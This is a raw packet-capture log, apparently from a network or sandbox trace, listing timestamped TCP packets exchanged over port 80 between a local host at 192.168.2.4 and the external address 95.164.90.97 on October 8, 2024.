Oct 8, 2024 02:45:31.877449989 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.877477884 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.877481937 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.877511978 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.877515078 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.877546072 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.877548933 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.877580881 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.877583981 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.877614021 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.877619982 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.877646923 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.877650976 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.877680063 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.877684116 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.877712965 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.877718925 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.877744913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.877749920 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.877780914 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.877782106 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.877818108 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.877856016 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.877890110 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.877892971 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.877923012 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.877927065 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.877958059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.877959013 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.877995014 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.878074884 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.878107071 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.878114939 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.878140926 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.878146887 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.878173113 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.878179073 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.878206015 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.878211021 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.878238916 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.878242970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.878272057 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.878277063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.878304958 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.878309011 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.878339052 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.878344059 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.878371000 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.878376007 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.878403902 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.878408909 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.878437042 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.878442049 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.878469944 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.878474951 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.878501892 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.878509045 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.878539085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.878542900 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.878571987 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.878575087 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.878604889 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.878608942 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.878638029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.878642082 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.878670931 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.878674984 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.878705025 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.878710985 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.878737926 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.878741026 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.878770113 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.878774881 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.878802061 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.878808022 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.878834009 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.878853083 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.878865957 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.878870010 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.878897905 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.878902912 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.878935099 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.878937006 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.878968000 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.878973007 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.878998995 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.879003048 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.879031897 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.879034996 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.879065037 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.879069090 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.879097939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.879101038 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.879131079 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.879136086 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.879162073 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.879167080 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.879195929 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.879199028 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.879224062 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.879231930 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.879256010 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.879257917 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.879291058 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.879293919 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.879323959 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.879327059 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.879357100 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.879359961 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.879403114 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.879442930 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.879475117 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.879506111 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.879518032 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.879539967 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.879559994 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.879571915 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.879585028 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.879605055 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.879607916 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.879637957 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.879641056 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.879671097 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.879673958 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.879703999 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.879707098 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.879736900 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.879738092 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.879770041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.879772902 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.879801989 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.879806042 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.879833937 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.879837990 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.879863024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.879872084 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.879894972 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.879899025 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.879928112 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.879930973 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.879961967 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.879964113 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.879993916 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.880000114 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.880028009 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.880033016 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.880060911 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.880064011 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.880094051 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.880098104 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.880126953 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.880130053 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.880162954 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.968442917 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.968488932 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.968550920 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.968602896 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.968602896 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.968636036 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.968636990 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.968647957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.968688965 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.968720913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.968734980 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.968753099 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.968775988 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.968786001 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.968802929 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.968818903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.968827963 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.968852043 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.968859911 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.968894005 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.968902111 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.968935013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.968943119 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.968967915 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.968976021 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.969000101 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.969008923 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.969041109 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.969048977 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.969077110 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.969089985 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.969110012 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.969116926 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.969151020 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.969160080 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.969191074 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.969199896 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.969228983 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.969233036 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.969261885 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.969270945 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.969294071 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.969302893 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.969326019 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.969336033 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.969360113 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.969364882 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.969393015 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.969399929 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.969425917 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.969435930 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.969460011 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.969465971 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.969492912 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.969501019 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.969526052 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.969535112 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.969566107 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.969578981 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.969610929 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.969620943 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.969650030 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.969662905 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.969703913 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.969753981 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.969795942 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.969803095 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.969835043 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.969844103 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.969866991 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.969872952 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.969898939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.969907999 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.969932079 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.969938993 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.969964027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.969970942 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.969991922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.970002890 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.970026016 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.970031977 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.970058918 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.970066071 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.970092058 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.970099926 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.970124960 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.970132113 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.970158100 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.970165014 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.970191956 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.970197916 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.970252991 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.970463037 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.970511913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.970542908 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.970558882 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.970577002 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.970592976 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.970608950 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.970617056 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.970640898 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.970669031 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.970673084 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.970686913 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.970704079 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.970736027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.970746040 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.970768929 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.970779896 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.970801115 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.970812082 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.970834017 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.970840931 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.970866919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.970874071 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.970899105 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.970906973 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.970932007 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.970940113 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.970963001 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.970973015 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.970995903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.971003056 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.971029043 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.971036911 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.971060991 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.971069098 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.971093893 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.971101046 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.971127033 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.971133947 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.971168041 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.971421957 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.971450090 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.971465111 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.971489906 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.971497059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.971530914 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.971538067 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.971564054 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.971570015 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.971596956 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.971606016 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.971630096 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.971637964 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.971668959 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.971671104 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.971700907 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.971709967 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.971734047 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.971740961 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.971765995 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.971772909 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.971797943 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.971806049 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.971832037 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.971837997 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.971865892 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.971872091 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.971918106 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.971925020 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.971951962 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.971959114 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.971983910 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.971993923 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.972017050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.972023010 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.972048044 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.972059965 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.972081900 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.972086906 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.972115040 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.972122908 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.972157001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.972318888 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.972362995 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.972369909 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.972400904 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.972410917 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.972434998 CEST	80	51293	95.164.90.97	192.168.2.4
